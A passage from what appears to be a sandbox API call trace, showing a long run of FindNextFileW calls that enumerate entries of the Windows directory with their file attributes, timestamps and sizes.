ftCreationTime.dwLowDateTime=0xef5fd1, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xef5fd1, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xef5fd1, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LiveKernelReports", cAlternateFileName="LIVEKE~1")) returned 1 [0109.570] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cf3e7ab, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x1a869a96, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x6449ebcb, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0109.570] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87e0eb86, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x87e0eb86, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x87e0eb86, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="lsasetup.log", cAlternateFileName="")) returned 1 [0109.570] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xef5fd1, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4dfe1b9, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x4dfe1b9, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media", cAlternateFileName="")) returned 1 [0109.570] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10293695, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x10293695, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x10293695, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xa87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mib.bin", cAlternateFileName="")) returned 1 [0109.570] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd725d1ee, ftLastAccessTime.dwHighDateTime=0x1d99d09, ftLastWriteTime.dwLowDateTime=0xd725d1ee, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0109.570] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf686e4, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686e4, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686e4, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1 [0109.571] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf686e4, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9f657f27, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x9f657f27, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MiracastView", cAlternateFileName="MIRACA~1")) returned 1 [0109.571] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf686e4, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686e4, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686e4, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModemLogs", cAlternateFileName="MODEML~1")) returned 1 [0109.571] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505b5aa3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x505b5aa3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x505b5aa3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0109.571] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe139e089, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xe139e089, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xe139e089, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCR", cAlternateFileName="")) returned 1 [0109.571] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf686e4, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x61f5c95, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x61f5c95, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline Web Pages", cAlternateFileName="OFFLIN~1")) returned 1 [0109.571] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a44646, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb1a44646, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb1a44646, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0109.571] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf686e4, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf686e4, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf686e4, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0109.572] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3a6095, ftCreationTime.dwHighDateTime=0x1d8a64b, ftLastAccessTime.dwLowDateTime=0x8e3a6095, ftLastAccessTime.dwHighDateTime=0x1d8a64b, ftLastWriteTime.dwLowDateTime=0xa38bb93f, ftLastWriteTime.dwHighDateTime=0x1d99cf8, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFRO.log", cAlternateFileName="")) returned 1 [0109.572] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf686e4, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf8e937, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf8e937, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLA", cAlternateFileName="")) returned 1 [0109.572] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8e937, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6ee9dc43, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ee9dc43, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PolicyDefinitions", cAlternateFileName="POLICY~1")) returned 1 [0109.572] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x938e66c3, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xc3306c6f, ftLastAccessTime.dwHighDateTime=0x1d99cf8, ftLastWriteTime.dwLowDateTime=0xc3306c6f, ftLastWriteTime.dwHighDateTime=0x1d99cf8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prefetch", cAlternateFileName="")) returned 1 [0109.572] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf8e937, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa039b1b2, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0xa039b1b2, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrintDialog", cAlternateFileName="PRINTD~1")) returned 1 [0109.572] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b1269a, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x96b1269a, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x3ac00f7d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x7dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Professional.xml", cAlternateFileName="PROFES~1.XML")) returned 1 [0109.573] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8e937, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6300d36, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x6300d36, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0109.573] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf8e937, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xaaed1dd9, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0xaaed1dd9, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PurchaseDialog", cAlternateFileName="PURCHA~1")) returned 1 [0109.573] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14eb873f, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x14eb873f, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x14eb873f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="regedit.exe", cAlternateFileName="")) returned 1 [0109.573] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8e937, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x637340b, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x637340b, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0109.573] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8e937, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4d6bf5ba, ftLastAccessTime.dwHighDateTime=0x1d7b05a, ftLastWriteTime.dwLowDateTime=0x4d6bf5ba, ftLastWriteTime.dwHighDateTime=0x1d7b05a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rescache", cAlternateFileName="")) returned 1 [0109.573] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8e937, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf8e937, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf8e937, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0109.573] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8e937, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf8e937, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf8e937, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SchCache", cAlternateFileName="")) returned 1 [0109.574] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8e937, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xfb4b8d, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xfb4b8d, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="schemas", cAlternateFileName="")) returned 1 [0109.574] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb4b8d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6f04186d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6f04186d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0109.574] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x506c8f22, ftCreationTime.dwHighDateTime=0x1d112f3, ftLastAccessTime.dwLowDateTime=0x88109cb8, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x88109cb8, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceProfiles", cAlternateFileName="SERVIC~2")) returned 1 [0109.574] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xbd54f5be, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd54f5be, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="servicing", cAlternateFileName="SERVIC~1")) returned 1 [0109.574] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50226d22, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x50226d22, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x50226d22, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1 [0109.575] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb14070, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8cb14070, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd6a0d08, ftLastWriteTime.dwHighDateTime=0x1d85953, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="setupact.log", cAlternateFileName="")) returned 1 [0109.575] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb14070, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8cb14070, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8cb14070, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setuperr.log", cAlternateFileName="")) returned 1 [0109.575] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f04186d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xafb1aa33, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xc43d7d32, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellNew", cAlternateFileName="")) returned 1 [0109.575] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd13c1c8a, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xd13c1c8a, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xd13c1c8a, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKB", cAlternateFileName="")) returned 1 [0109.575] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x675574ee, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0xdfc2100c, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xdfc2100c, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0109.575] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb4b8d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xfb4b8d, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xfb4b8d, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0109.576] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb4b8d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xfb4b8d, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xfb4b8d, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1 [0109.578] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x213b6972, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x213b6972, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x213dcbcc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="splwow64.exe", cAlternateFileName="")) returned 1 [0109.578] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb4b8d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xfb4b8d, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xfb4b8d, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0109.578] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x383caa7, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97447ccc, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97447ccc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="system.ini", cAlternateFileName="")) returned 1 [0109.578] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc082d10f, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xc082d10f, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 1 [0109.579] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13e0d5f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x6f95896c, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6f95896c, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemApps", cAlternateFileName="SYSTEM~1")) returned 1 [0109.579] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14796bd, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x149f91c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x149f91c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemResources", cAlternateFileName="SYSTEM~2")) returned 1 [0109.579] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35938b58, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xeaac7f4f, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xeaac7f4f, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysWOW64", cAlternateFileName="")) returned 1 [0109.579] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16b59ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x16b59ff, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x16b59ff, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAPI", cAlternateFileName="")) returned 1 [0109.579] FindNextFileW (in: hFindFile=0x1b48fbb0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, 